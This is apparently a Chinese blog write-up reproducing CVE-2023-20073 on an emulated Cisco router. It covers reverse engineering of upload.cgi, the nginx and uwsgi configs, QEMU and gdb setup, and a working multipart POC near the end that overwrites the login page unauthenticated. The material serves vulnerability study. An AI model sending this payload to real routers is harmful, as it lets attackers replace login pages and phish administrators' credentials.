CVE-2023-20073
[armhf&命令执行&文件上传] CVE-2023-20073
这个洞在复现时遇到的情况如下:
使用大多数师傅的文章里的poc无法成功复现,感觉有可能是仿真环境构建时出现了一些插曲导致的,这条在我写这篇文章时重新仿真环境的时候解决了,确实是仿真的时候把环境搞乱导致的,所以如果有其他师傅碰到了这种情况也可以把qcow2虚拟磁盘文件删了重头仿真一遍看看上传的文件文件名不受控制,即使把路径设置为/tmp/upload/0...01,每次运行upload.cgi程序时这个临时文件的文件名也会递增,这个问题实际上也算是解决了,这个应该是因为nginx里就设置好路径名了,所以才会出现无视伪造的请求体中的文件路径的情况
参考文章:
固件地址:
Software Download - Cisco Systems
逆向
几个函数的分析
StrBufCreate()
_DWORD *StrBufCreate() { _DWORD *v0; // r4 _BYTE *v1; // r0 v0 = malloc(0xCu); if ( v0 ) { v0[1] = '7'; v1 = malloc('7'); *v0 = v1; if ( !v1 ) { free(v0); return 0; } *v1 = 0; v0[2] = 0; } return v0; } //建立一个长0xc的结构体堆块 //其中 result[0] 为内容指针,result[1]为长度,result[2]不确定,可能是合法性标识,合法时为0
StrBufSetStr(par1, par2)
int __fastcall StrBufSetStr(int a1, int a2)
{
StrBufClear();
return StrBufAppendStr(a1, a2);
}
//对另外两个函数组合的封装
//整体的作用是用StrBufClear做了一些前期工作
//其他方面和StrBufAppendStr相同
StrBufClear()
int __fastcall StrBufClear(int a1) { int result; // r0 _BYTE *v3; // r2 result = StrBufIsOK(a1); //StrBufIsOk()是检查StrBuf是否可用,即其第一个4字节是否有内容指针 if ( result ) { v3 = *(_BYTE **)a1; *(_DWORD *)(a1 + 8) = 0; *v3 = 0; } return result; } //检查StrBuf是否可用,如果可用就对其进行清理(内容清理而不是回收,以便向里面写入正确的内容)
StrBufAppendStr(a1, a2)
int __fastcall StrBufAppendStr(_DWORD *a1, const char *a2) { int result; // r0 size_t v5; // r5 if ( !a2 || !StrBufIsOK() ) return 0; v5 = strlen(a2); result = sub_1BBC(a1, v5 + a1[2] + 1); if ( result ) { strcpy((char *)(*a1 + a1[2]), a2); result = 1; a1[2] += v5; } return result; } //应该就是往StrBuf[0]的内容指针里添加内容 //sub_1BBC是在StrBuf[0]的size不足时做扩展工作的
StrBufToStr(*StrBuf)
_DWORD *__fastcall StrBufToStr(_DWORD *a1) { _DWORD *result; // r0 result = StrBufIsOK(a1); if ( result ) return (_DWORD *)*a1; return result; } //取到StrBuf指针,返回其包含的内容指针
match_regex(char *pattern, const char *a2)
//检查 pattern 是否符合正则表达式 a2 的规则
nginx配置文件
/etc/nginx/conf.d/rest.url.conf:
gpt:
这个文件很可能是用于配置与 REST API 相关的路由规则。REST 是一种架构风格,通常用于构建网络服务接口。
配置的内容可能涉及到为 REST API 定义特定的 URL 路径,并设置如何处理这些请求(例如,GET、POST、PUT、DELETE 请求等)。它也可能包括跨域设置、请求速率限制等。
这个配置文件中有关于这个漏洞利用的api的一些操作方式,以及文件上传的处理逻辑
... line 13 location /api/operations/ciscosb-file:form-file-upload {#定义了对于...:form-file-upload这个路由的处理方式 set $deny 1; #也意味着我们需要访问这个url去触发后面流程的进行 if ($http_authorization != "") { #检查这个变量的内容 set $deny "0"; #实际上就是http请求里的 Authorization 字段 } #在proxy.conf文件里可以看到↓ #`proxy_set_header Authorization $http_authorization; if ($deny = "1") { #要authorization内容非空才能继续走下去 return 403; } upload_pass /form-file-upload; #转至后台处理 upload_store /tmp/upload; #上传文件的(临时)存储路径 upload_store_access user:rw group:rw all:rw; #上传文件的权限设置 #这部分是将上传文件的一些信息(文件名、内容类型、路径、md5、大小存到了一个表单里) upload_set_form_field $upload_field_name.name "$upload_file_name"; #这里要注意,这个地方是给上传的文件生成了一个文件名,后面upload.cgi的分析里会提到 upload_set_form_field $upload_field_name.content_type "$upload_content_type"; upload_set_form_field $upload_field_name.path "$upload_tmp_path"; upload_aggregate_form_field "$upload_field_name.md5" "$upload_file_md5";#这种是额外变量,上传成功后才会生成 upload_aggregate_form_field "$upload_field_name.size" "$upload_file_size"; upload_pass_form_field "^.*$"; #将刚才的表单所有字段传递给下游处理程序,大概就是upload.cgi;"^.*$"表示匹配所有字段 upload_cleanup 400 404 499 500-505; #意外情况处理,出现这些错误代码时清理已上传文件 upload_resumable on; #启用上传恢复功能(和漏洞无关) } ...
根据参考文章里师傅的讲解,在执行到upload_pass时似乎会触发或者跳转到 location /form-file-upload 位置的执行
位于 web.upload.conf 文件中
gpt:
该文件负责文件上传处理和后端服务器通信的一些设置
location /form-file-upload { include uwsgi_params; #导入了 Nginx 的 uwsgi_params 文件 proxy_buffering off; uwsgi_modifier1 9; uwsgi_pass 127.0.0.1:9003; uwsgi_read_timeout 3600; uwsgi_send_timeout 3600; }
似乎就是说把文件上传请求的处理工作交接给这个 uwsgi 服务
在nginx启动脚本中也能看到,最后一行就是启动 uwsgi 服务
/etc/init.d/nginx
![]()
uwsgi服务的启动脚本根据ZIKH26师傅的讲解是这个 /usr/bin/uwsgi-launcher
#!/bin/sh /etc/rc.common export UWSGI_PLUGIN_DIR=/usr/lib/uwsgi/plugins start() { uwsgi -m --ini /etc/uwsgi/jsonrpc.ini & uwsgi -m --ini /etc/uwsgi/blockpage.ini & uwsgi -m --ini /etc/uwsgi/upload.ini & #目标部分 } ...
能看到文件上传的部分是由 /etc/uwsgi/upload.ini 进行初始化的
[uwsgi] plugins = cgi workers = 1 master = 1 uid = www-data gid = www-data socket=127.0.0.1:9003 buffer-size=4096 cgi = /www/cgi-bin/upload.cgi #cgi程序路径 cgi-allowed-ext = .cgi cgi-allowed-ext = .pl cgi-timeout = 300 #另外这里有cgi程序的超时时长,可以改大,防止调试时中断 ignore-sigpipe = true
可以看到这个请求最终是到了 upload.cgi 这个二进制程序上
upload.cgi程序
IDA看的时候可以对一些变量名进行一些简单的改名,更方便看,被我动过后的main:
CONTENT_LENTH = getenv("CONTENT_LENGTH"); CONTENT_TYPE = getenv("CONTENT_TYPE"); REQUEST_URI = getenv("REQUEST_URI"); HTTP_COOKIE = getenv("HTTP_COOKIE"); v7 = memset(s, 0, 0x400u); filename0 = 0; file_path0 = 0; pathparam0 = 0; fileparam0 = 0; v32 = 0; v33 = 0; v34 = 0; v35 = 0; v36 = 0; StrBuf1 = StrBufCreate(v7); StrBuf2 = StrBufCreate(StrBuf1); filename3 = StrBufCreate(StrBuf2); if ( CONTENT_LENTH ) CONTENT_LENTH = (const char *)atoi(CONTENT_LENTH); body_origin = malloc((size_t)(CONTENT_LENTH + 1));// body原始数据,由fread读入 body_origin[fread(body_origin, 1u, (size_t)CONTENT_LENTH, (FILE *)_bss_start)] = 0; if ( CONTENT_TYPE && strstr(CONTENT_TYPE, "boundary=") ) { StrBufSetStr(StrBuf1, "--"); // 以boundary为分隔符寻找内容主体 v9 = strstr(CONTENT_TYPE, "boundary"); StrBufAppendStr(StrBuf1, v9 + 9); // 把主要内容存到StrBuf1上 } body_json1 = memset(body_json0, 0, sizeof(body_json0));// 这两个body_json都是body数据在栈上的缓冲区 body_json0[1] = sub_1138C; body_json0[2] = sub_11464; json_buf = json_object_new_object(body_json1); v11 = StrBufToStr(StrBuf1); body_tmp = multipart_parser_init(v11, body_json0); body_lenth = strlen(body_origin); multipart_parser_execute(body_tmp, body_origin, body_lenth);// 这里时body的表单信息解析到json_buf指针指向的内容快中 multipart_parser_free(body_tmp); jsonutil_get_string(json_buf, &file_path0, "\"file.path\"", -1); jsonutil_get_string(json_buf, &filename0, "\"filename\"", -1); jsonutil_get_string(json_buf, &pathparam0, "\"pathparam\"", -1); jsonutil_get_string(json_buf, &fileparam0, "\"fileparam\"", -1); jsonutil_get_string(json_buf, &v32, "\"destination\"", -1); jsonutil_get_string(json_buf, &v33, "\"option\"", -1); jsonutil_get_string(json_buf, &v34, "\"cert_name\"", -1); jsonutil_get_string(json_buf, &v35, "\"cert_type\"", -1); jsonutil_get_string(json_buf, &v36, "\"password\"", -1); if ( HTTP_COOKIE ) get_strtok_value(HTTP_COOKIE, "sessionid=", ";", s); if ( !file_path0 || match_regex("^/tmp/upload/[0-9]{10}$") )// 实际上是(..., file_path0) { puts("Content-type: text/html\n"); printf("Error Input"); goto LABEL_31; } StrBufSetStr(filename3, fileparam0); filename1 = filename0; if ( filename0 ) { if ( strstr(filename0, ".xml") ) { v15 = "Configuration"; } else { if ( !strstr(filename1, ".img") ) { LABEL_17: StrBufSetStr(filename3, filename1); goto LABEL_18; } v15 = "Firmware"; } pathparam0 = v15; // filename中没有.img或.xml时将pathname设置为Firmware // 和漏洞点没关系 goto LABEL_17; } LABEL_18: file_path1 = file_path0; pathparam1 = pathparam0; filename4 = (const char *)StrBufToStr(filename3); v19 = sub_115EC(pathparam1, file_path1, filename4);
(body数据那块这里面注释分析的可能不太对,那里面指针流转的太复杂了,当时分析清楚的那一版ida注释丢了,感兴趣的可以自己调试从fread调用那里跟着往后追踪一遍。反正最后body内容是被那个json_buf承载了就对了)
前面的四个环境变量在这个洞里不重要,略过就可以
紧跟着的body内容处理的部分刚才也说过了,忘了,不知道怎么记录了
其实比较重要的也就是关于内容分割符的部分

它是以boundary为信息分隔符的,所以写body时可以写成类似于这样的格式
--boundary ... --boundary ... --boundary--
或者(不知道什么原理,看别的师傅这样写)
------------ ... ------------ ... ------------
再往后来到json数据解析到变量的部分就比较重要了

在这里把body数据中的一些字段解析出来放到变量中
这个洞要成功利用只需要考虑前四个就可以了(第一个实际上也不用管),先继续看
![]()
这里这里获取了COOKIE中 sessionid 的内容,但其实在漏洞所在函数调用前没有验证,只要别让它报错就行


然后是检查了一下刚才提到的第一个变量 file.path 字段值,这里可以看到是要求非空,且应该为 /tmp/upload/<十个数字> ,所以我们应该在body里添加一段控制它
--boundary Content-Disposition: form-data; name="file.path" /tmp/upload/0000000001
但是实际上这里是不用管的,因为我们前面说到的nginx配置文件中是控制过这个字段内容的

而因为那里面也设置了存储的文件的路径是/tmp/upload,尝试过我们也发现它生成的文件名就是十个数字,从0...01开始递增,所以这个字段我们其实是可以放着它不管的
而且实际上要是控制了反而会有问题,比如像上面这个写法一样,将文件名控制成0....01,但是如果不是起好仿真后的第一次运行,你会发现生成的文件名不是1,比1大,这个我也不懂为什么,但会导致后面 sub_115ec 里的验证不通过
image-20251123165148510
(因为你控制了file_path0为000...1,但nginx把文件保存成了000...0N,结果就是文件不存在了)
后面分析到这里了会再点一下
紧接着后面对filename的后缀名的查询,后缀名检查本身对漏洞利用没影响,但这里对filename的处理要看一下
首先要知道漏洞函数接收到的filename实际上是filename3


而 filename3 本来是在这里由filename1赋值的,由于我们需要filename是 login.html,这里执行不到,所以就要看其他地方
也就是一开始这里![]()
所以实际上漏洞函数里的 filename 变量就是 body 里 fileparam 的值,所以我们写 body时要记得控制 fileparam
然后就到漏洞函数了
又转手了一下变量后传递参数
可以看到这里传进去的是 pathparam, file.path, filename 这三个东西,这里不多说,进到里面去看看在分析
一进来先是对pathparam的一大堆对比
这个pathparam的内容一会再看,先往后看,这里只需要知道会根据pathparam的值决定一个 v8 变量的内容就可以了
pathparam的判断刚结束就是前面提到过的检查 file.path 指向的文件是否存在的问题,刚才也解释过了,所以可以知道body中尽量不要控制 file.path 这个字段
然后就是想要的漏洞点了

先把拼接了一下命令,实际上就是把上传的文件,按照各字段内容走判断分支,移动到它该去的目录
那么差的最后一点就是软链接,我们在固件文件系统的www目录下 ls -l 会发现

index.html和login.html都被链接到了/tmp/www下的同名文件
而刚才我们暂时略过的 v8 的分支赋值中
就有将v8设置为 /tmp/www 的分支
要求pathparam 为 Portal
同样的不难知道 filename 也要控制成 login.html。这样就可以掉包路由器登录页的html文件
仿真
这部分除了虚拟网桥的部分我基本全是仿照 ZIKH26 师傅做的
用到的文件下载地址贴在这
debian_wheezy_armhf_standard.qcow2
initrd.img-3.2.0-4-vexpress
vmlinuz-3.2.0-4-vexpress
qcow2文件下载后要用 qemu-img resize ./debian_xxx.qcow2 32g 命令重新设置大小,否则会启动失败
qemu启动脚本:
sudo qemu-system-arm \ -M vexpress-a9 \ -kernel vmlinuz-3.2.0-4-vexpress \ -initrd initrd.img-3.2.0-4-vexpress \ -drive if=sd,file=debian_wheezy_armhf_standard.qcow2 \ -append "root=/dev/mmcblk0p2" \ -net nic -net tap,ifname=tap0,script=no,downscript=no \ -nographic -smp 4
虚拟网桥部分我是直接用的之前第一次复现时搜到的一个解决方案,ubuntu里五句命令 + qemu里一句命令 就能沟通两者网络,反正能用,我就没想那么多了
#ubuntu物理机内执行 sudo brctl addbr Virbr0 sudo ifconfig Virbr0 192.168.<ubuntu的网段>.1/24 up sudo tunctl -t tap0 sudo ifconfig tap0 192.168.<...>.<在之后就是ubuntu物理机的地址>/24 up sudo brctl addif Virbr0 tap0
#qemu执行 ifconfig <qemu网卡名称> 192.168.<同上>.<在之后是qemu的地址> up
这个固件看很多师傅包括 ZIKH26 师傅都说直接用binwalk可能解不出来,我一开始也是用binwalk解不出来,又装了 ubi_reader 发现还是没用,然后一边问我学长一边自己 binwalk -e gzip tar 啥的一层一层解,结果我学长binwalk -Me 是能直接解出文件系统的,这个时候我把文件清理了一下重新binwalk了一遍发现我也能解了,没懂为什么,可能没重开shell,ubi_reader没生效?
正常情况这个固件应该是能用完整的binwalk3.1解包的,解不了就装下ubi_reader再试试,再解不了就百度吧
IoT(八)ubi文件系统挂载&解包【转】 - Sky&Zhang - 博客园
把固件解包后打包传递到qemu里,然后再解包,防止软链接等文件信息出现损坏
然后去将proc和dev挂载到固件文件系统里的,再chroot彻底切换到固件的系统里
chmod -R 777 rootfs cd rootfs/ mount --bind /proc proc mount --bind /dev dev chroot . /bin/sh


然后就是启动路由器web前端的服务
过程中会碰到很多问题,我是折腾了一会没折腾明白,然后就直接用 ZIKH26师傅的结论了
/etc/init.d/boot boot generate_default_cert /etc/init.d/confd start /etc/init.d/nginx start
运行完看看启动日志信息是不是和ZIKH26师傅展示的那些差不太多,然后访问下网站看看,能访问到login.html,然后一会也能正常触发upload.cgi程序,基本上就没啥大问题

调试问题解决
由于upload.cgi程序本身运行的太快,调试的时候可以patch一下
在前面这些不太影响执行流程的部分把某一句指令patch成bl 0就可以了
比如像参考文章中的一样把第一个getenv改成bl 0
Online Assembler and Disassembler

image-20251123161719543
然后在ubuntu上写个调试脚本
set architecture arm set endian little set detach-on-fork off file ./ubifs-root/www/cgi-bin/upload.cgi target remote 192.168.171.2:1234 b *0x10f74 b *0x110d8 b *0x116a4 set *0x10e0c=0xebffffaa c
调试时用 gdb-multiarch -x mygdb.sh
浏览器中用hackbar编辑好body后发送请求,qemu上 ps | grep "www" 看 cgi程序的PID,然后 ./gdbserver 0.0.0.0:1234 --attach PID 就可以顺利调试了
另外gdbserver有的时候会出现 n 无法步过调用的函数的情况,可以打断点 c 过去来解决
b *$pc+4 c dele last
也可以编辑成一个脚本,比如命名为 n,在调试时就可以用 source n,去步过一个函数调用
攻击
根据前面逆向的部分的分析结论,我们需要让 filename = login.html, pathparam = Portal, 上传的文件内容为掉包用的 html内容
回到main函数解析json的位置,直接拿POC试一遍,走一遍流程
POC
--boundary Content-Disposition: form-data; name="pathparam" Portal --boundary Content-Disposition: form-data; name="fileparam" login.html --boundary Content-Disposition: form-data; name="file"; filename="login.html" Content-Type: application/octet-stream <h1>==TRACE==</h1> <h2>Ciallo~ (∠・ω < )⌒★<</h2> --boundary--
(以这个为准,下面图里的是忘改了)
按照对nginx配置文件的分析,URL

然后是请求头里的那两个信息

再把编码方式改成mutipart/form-data(因为main函数里的解包解析用的就是mutipart系列函数)
完事点 EXECUTE 发送

按照之前提到过的流程,ps看PID,gdbserver attach开调试,ubuntu物理机连接

来到第一个json解析,可以看到确实自动生成了file.path内容
![]()
走完几个重要的解析

然后直接来到漏洞函数:

可以看到非常顺利,传参都是正确的
来到那个检查上传文件是否存在的地方

这里如果想检查的话可以再起一个shell,ssh连到qemu上看一看:

![]()

成功执行mv 命令就是完事了
然后detach释放掉cgi程序,去浏览器重新访问一下试试效果

成功换掉了登录页


浙公网安备 33010602011771号